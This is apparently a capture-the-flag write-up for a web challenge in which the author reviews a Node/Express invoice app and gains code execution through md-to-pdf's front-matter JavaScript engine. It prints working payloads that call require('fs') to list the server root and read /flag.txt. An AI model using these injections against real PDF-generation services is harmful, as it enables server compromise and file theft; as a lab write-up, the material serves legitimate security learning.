View on GitHub



Once known as an imaginary liquid used in automobiles to make the blinkers work is now one of the rarest fuels invented on Klaus’ home planet Vinyr. The Golden Fang army has a free reign over this miraculous fluid essential for space travel thanks to the Blinker Fluids™ Corp. Ulysses has infiltrated this supplier organization’s one of the HR department tools and needs your help to get into their server. Can you help him?



$ ll
total 244
-rw-r--r-- 1 hag hag    585 May 18 20:36
-rw-r--r-- 1 hag hag 243236 May 18 20:36

$ unzip
   creating: web_blinkerfluids/
   creating: web_blinkerfluids/config/
  inflating: web_blinkerfluids/config/supervisord.conf
  inflating: web_blinkerfluids/
   creating: web_blinkerfluids/challenge/
  inflating: web_blinkerfluids/challenge/package.json
   creating: web_blinkerfluids/challenge/routes/
  inflating: web_blinkerfluids/challenge/routes/index.js
   creating: web_blinkerfluids/challenge/helpers/
  inflating: web_blinkerfluids/challenge/helpers/MDHelper.js
  inflating: web_blinkerfluids/challenge/database.js
   creating: web_blinkerfluids/challenge/views/
  inflating: web_blinkerfluids/challenge/views/index.html
  inflating: web_blinkerfluids/challenge/index.js
   creating: web_blinkerfluids/challenge/static/
   creating: web_blinkerfluids/challenge/static/images/
  inflating: web_blinkerfluids/challenge/static/images/favicon.png
   creating: web_blinkerfluids/challenge/static/js/
  inflating: web_blinkerfluids/challenge/static/js/main.js
  inflating: web_blinkerfluids/challenge/static/js/easymde.min.js
  inflating: web_blinkerfluids/challenge/static/js/jquery-3.6.0.min.js
   creating: web_blinkerfluids/challenge/static/invoices/
  inflating: web_blinkerfluids/challenge/static/invoices/f0daa85f-b9de-4b78-beff-2f86e242d6ac.pdf
   creating: web_blinkerfluids/challenge/static/css/
  inflating: web_blinkerfluids/challenge/static/css/easymde.min.css
  inflating: web_blinkerfluids/challenge/static/css/bootstrap.min.css
  inflating: web_blinkerfluids/challenge/static/css/main.css
 extracting: web_blinkerfluids/flag.txt
  inflating: web_blinkerfluids/Dockerfile

$ whatweb [200 OK] Bootstrap, Country[EUROPEAN UNION][EU], Email[gfaang23@gfang.htb,hr@BlinkerFluidsCorp.htb,receivable@BlinkerFluidsCorp.htb], HTML5, IP[], JQuery[3.6.0], Script[text/javascript], Title[Blinker Fluids™], X-Powered-By[Express]

Ok, so we have an Express-backend and we have been provided with the source code for the Node-application.

Let’s have a look at index.js:

const express      = require('express');
const app          = express();
const path         = require('path');
const nunjucks     = require('nunjucks');
const routes       = require('./routes/index.js');
const Database     = require('./database');

const db = new Database('invoice.db');


nunjucks.configure('views', {
	autoescape: true,
	express: app

app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));


app.all('*', (req, res) => {
	return res.status(404).send({
		message: '404 page not found'

(async () => {
	await db.connect();
	await db.migrate();
	app.listen(1337, '', () => console.log('Listening on port 1337'));

We can see a reference to a database; invoice.db. We can also see some imported libraries. The line const nunjucks = require('nunjucks'); is interesting, nunjucks is a templating engine. Maybe we can do some sort of RCE using the templating features or maybe LFI.

Looking at the nunjucks docs at we can see the following:

nunjucks does not sandbox execution so it is not safe to run user-defined templates or inject user-defined content into template definitions. On the server, you can expose attack vectors for accessing sensitive data and remote code execution. On the client, you can expose cross-site scripting vulnerabilities even for precompiled templates (which can be mitigated with a strong CSP). See this issue for more information.

That sounds promising.

Before we move on I think we should have a look at the actual website:

So we have a list of invoices and it looks like we can export or delete them. We can also create new invoices.

Let’s have a look at the PDF in the list:

Let’s click the “Create New Invoice” button:

Look at that, a WYSIWYG editor. Could this be a plausible way to test out the templating vector we mentioned earlier?

Let’s give it a go. We can see from that we can use the`` syntax in templates. This is a pretty standard syntax.

Let’s try a 2+2 payload.

A new invoice was created, let’s look at the PDF.

Nope, no success!

Back to the source code.

The views directory only contains one file; index.html and it also doesn’t contain any templating syntax as far as I can see.

Taking a close look at index.js, we can also see the following code:

nunjucks.configure('views', {
	autoescape: true,
	express: app

Looks like there is some escaping going on with nunjucks as well. Let’s move on.


All the database related code looks safe. Prepared statements are used in every function, so SQLi is out of the question.


Looking at the Dockerfile we can see that the flag we want is located here: /flag.txt.

# Add flag
COPY flag.txt /flag.txt


Next we take a closer look at the PDF export.

const { mdToPdf }    = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')

const makePDF = async (markdown) => {
    return new Promise(async (resolve, reject) => {
        id = uuidv4();
        try {
            await mdToPdf(
                { content: markdown },
                    dest: `static/invoices/${id}.pdf`,
                    launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] } 
        } catch (e) {

module.exports = {

The library md-to-pdf is used for the PDF generation. And it looks like nunjucks isn’t used for the PDFs at all. So that was a dead end.

While googling md-to-pdf I came across

That’s interesting. Could we try an iframe to read the flag using file:///flag.txt?

I guess not… Let’s try using <iframe src="/flag.txt"></iframe>:

So at least the invoice generation worked now and we could export the PDF and see that the iframe is present, but it won’t load our flag. Nice try though.

I do think we’re on the right track. Doing some more research takes us to this GitHub issue:

Security: gray-matter exposes front matter JS-engine that leads to arbitrary code execution #99

The library gray-matter (used by md-to-pdf to parse front matter) exposes a JS-engine by default, which essentially runs eval on the given Markdown.

A comment on the issue has a PoC:

    css: `body::before { content: "${require('fs').readdirSync('/').join()}"; display: block }`,

Let’s try it:

There we go, we have RCE!

The PoC payload uses the fs library to list out all the files in /. We can even see our flag.txt in there.

fs also has a method to read the contents of a file; fs.readFileSync(). More information here:

Let’s get the content of the file next. We need to modify the payload:

    css: `body::before { content: "${require('fs').readFileSync('/flag.txt')}"; display: block }`,

Let’s save the invoice and export the PDF:





By browsing the website and application source code, we were able to find multiple plausible techniques to get access to the flag. We tried all the techniques one by one and were successful in the end.